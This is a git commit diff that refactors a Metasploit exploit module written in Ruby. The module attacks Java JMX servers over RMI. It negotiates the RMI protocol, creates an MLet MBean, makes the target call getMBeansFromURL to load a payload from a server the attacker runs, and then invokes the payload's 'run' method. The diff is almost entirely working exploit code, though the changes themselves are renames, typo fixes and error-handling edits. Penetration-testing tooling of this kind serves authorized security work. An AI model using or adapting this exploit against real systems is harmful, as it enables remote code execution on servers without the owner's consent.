Refactor exploit code

bug/bundler_fix
jvazquez-r7 2015-01-21 00:07:00 -06:00
parent 2de2e657f0
commit a996efc807
1 changed files with 71 additions and 100 deletions

View File

@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Sending RMI Header...")
unless is_rmi?
fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol")
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
end
print_status("#{peer} - Discoverig the JMXRMI endpoint...")
@ -118,84 +118,34 @@ class Metasploit3 < Msf::Exploit::Remote
if mbean_server.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
else
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:host]}:#{mbean_server[:port]}")
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
end
exploit_mbean_server(mbean_server)
end
def exploit_mbean_server(mbean)
print_good("#{peer} - JMX MBean server endpoint found on #{mbean[:address]}:#{mbean[:port]}, connecting...")
connect(true, { 'RPORT' => mbean[:address], 'RPORT' => mbean[:port] })
send_header
ack = recv_protocol_ack
if ack.nil?
fail_with(Failure::NotFound ,"#{peer} - Filed to negotiate RMI protocol")
connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
unless is_rmi?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
end
print_status("#{peer} - Sending handshake / authentication...")
send_call(call_data: handshake_stream(mbean[:id].chop))
return_data = recv_return
if return_data.nil?
fail_with(Failure::Unknown, "#{peer} - Failed to send handshake")
end
answer = extract_object(return_data, 1)
if answer.nil?
fail_with(Failure::Unknown, "#{peer} - Unexpected handshake answer")
end
case answer
when 'java.lang.SecurityException'
fail_with(Failure::NoAccess, "#{peer} - JMX end point requires authentication, but it failed")
when 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
print_good("#{peer} - Handshake completed, proceeding...")
conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents))
if conn_stub.nil?
fail_with(Failure::Unknown, "#{peer} - Failed to extract the UnicastRef information")
end
print_status("#{peer} - Proceeding with handshake...")
jmx_endpoint = handshake(mbean_server)
if jmx_endpoint.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
else
fail_with(Failure::Unknown, "#{peer} - Handshake returned unexpected object #{answer}")
print_good("#{peer} - Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
end
print_status("#{peer} - Getting JMXPayload instance...")
my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1')
send_call(call_data: my_stream)
return_data = recv_return
if return_data.nil?
fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed")
end
answer = extract_object(return_data, 1)
if answer.nil?
fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer")
end
case answer
when 'javax.management.InstanceNotFoundException'
print_warning("#{peer} - JMXPayload instance not found, trying to load")
load_payload_from_url(conn_stub)
when 'javax.management.ObjectInstance'
print_good("#{peer} - JMXPayload instance found, using it")
else
fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}")
print_status("#{peer} - Loading payload...")
unless load_payload(jmx_endpoint)
fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
end
print_status("#{peer} - Executing payload...")
my_stream = invoke_stream(
obj_id: conn_stub[:id].chop,
object: 'MLetCompromise:name=jmxpayload,id=1',
method: 'run'
invoke_run_stream = invoke_stream(
obj_id: jmx_endpoint[:id].chop,
object: 'MLetCompromise:name=jmxpayload,id=1',
method: 'run'
)
send_call(call_data: my_stream)
send_call(call_data: invoke_run_stream)
disconnect
end
@ -271,112 +221,133 @@ class Metasploit3 < Msf::Exploit::Remote
end
def load_payload(conn_stub)
print_status("#{peer} - Getting JMXPayload instance...")
my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1')
send_call(call_data: my_stream)
vprint_status("#{peer} - Getting JMXPayload instance...")
get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1')
send_call(call_data: get_payload_instance)
return_data = recv_return
if return_data.nil?
fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed")
vprint_error("#{peer} - The request to getObjectInstance failed")
return false
end
answer = extract_object(return_data, 1)
if answer.nil?
fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer")
vprint_error("#{peer} - Unexpected getObjectInstance answer")
return false
end
case answer
when 'javax.management.InstanceNotFoundException'
print_warning("#{peer} - JMXPayload instance not found, trying to load")
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
return load_payload_from_url(conn_stub)
when 'javax.management.ObjectInstance'
print_good("#{peer} - JMXPayload instance found, using it")
vprint_good("#{peer} - JMXPayload instance found, using it")
return true
else
fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}")
vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}")
return false
end
end
def load_payload_from_url(conn_stub)
print_status("Starting service...")
vprint_status("Starting service...")
start_service
print_status("#{peer} - Creating javax.management.loading.MLet MBean...")
vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet')
send_call(call_data: create_mbean)
return_data = recv_return
if return_data.nil?
vprint_error("#{peer} - The request to createMBean failed")
return false
end
answer = extract_object(return_data, 1)
if answer.nil?
fail_with(Failure::Unknown, "#{peer} - Unexpected createMBean answer")
vprint_error("#{peer} - Unexpected createMBean answer")
return false
end
case answer
when 'javax.management.InstanceAlreadyExistsException'
print_good("#{peer} - javax.management.loading.MLet already exists")
vprint_good("#{peer} - javax.management.loading.MLet already exists")
when 'javax.management.ObjectInstance'
print_good("#{peer} - javax.management.loading.MLet created")
vprint_good("#{peer} - javax.management.loading.MLet created")
when 'java.lang.SecurityException'
fail_with(Failure::NoAccess, "#{peer} - The provided user hasn't enough privileges")
vprint_error("#{peer} - The provided user hasn't enough privileges")
return false
else
fail_with(Failure::Unknown, "#{peer} - createMBean returned unexpected object #{answer}")
vprint_error("#{peer} - createMBean returned unexpected object #{answer}")
return false
end
print_status("#{peer} - Getting javax.management.loading.MLet instance...")
my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet')
send_call(call_data: my_stream)
vprint_status("#{peer} - Getting javax.management.loading.MLet instance...")
get_mlet_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet')
send_call(call_data: get_mlet_instance)
return_data = recv_return
if return_data.nil?
fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed")
vprint_error("#{peer} - The request to getObjectInstance failed")
return false
end
answer = extract_object(return_data, 1)
if answer.nil?
fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer")
vprint_error("#{peer} - Unexpected getObjectInstance answer")
return false
end
case answer
when 'javax.management.InstanceAlreadyExistsException'
print_good("#{peer} - javax.management.loading.MLet already found")
vprint_good("#{peer} - javax.management.loading.MLet already found")
when 'javax.management.ObjectInstance'
print_good("#{peer} - javax.management.loading.MLet instance created")
vprint_good("#{peer} - javax.management.loading.MLet instance created")
else
fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}")
vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}")
return false
end
print_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
my_stream = invoke_stream(
invoke_mlet_get_mbean_from_url = invoke_stream(
obj_id: conn_stub[:id].chop,
object: 'DefaultDomain:type=MLet',
method: 'getMBeansFromURL',
args: { 'java.lang.String' => "#{get_uri}/mlet" }
)
send_call(call_data: my_stream)
send_call(call_data: invoke_mlet_get_mbean_from_url)
return_data = recv_return
print_status("Stopping service...")
vprint_status("Stopping service...")
stop_service
if return_data.nil?
fail_with(Failure::Unknown, "#{peer} - The call to getMBeansFromURL failed")
vprint_error("#{peer} - The call to getMBeansFromURL failed")
return false
end
answer = extract_object(return_data, 3)
if answer.nil?
fail_with(Failure::Unknown, "#{peer} - Unexpected getMBeansFromURL answer")
vprint_error("#{peer} - Unexpected getMBeansFromURL answer")
return false
end
case answer
when 'javax.management.InstanceAlreadyExistsException'
print_good("#{peer} - The remote payload was already loaded... okey, using it!")
vprint_good("#{peer} - The remote payload was already loaded... okey, using it!")
return true
when 'javax.management.ObjectInstance'
print_good("#{peer} - The remote payload has been loaded!")
vprint_good("#{peer} - The remote payload has been loaded!")
return true
else
fail_with(Failure::Unknown, "#{peer} - getMBeansFromURL returned unexpected object #{answer}")
vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}")
return false
end
end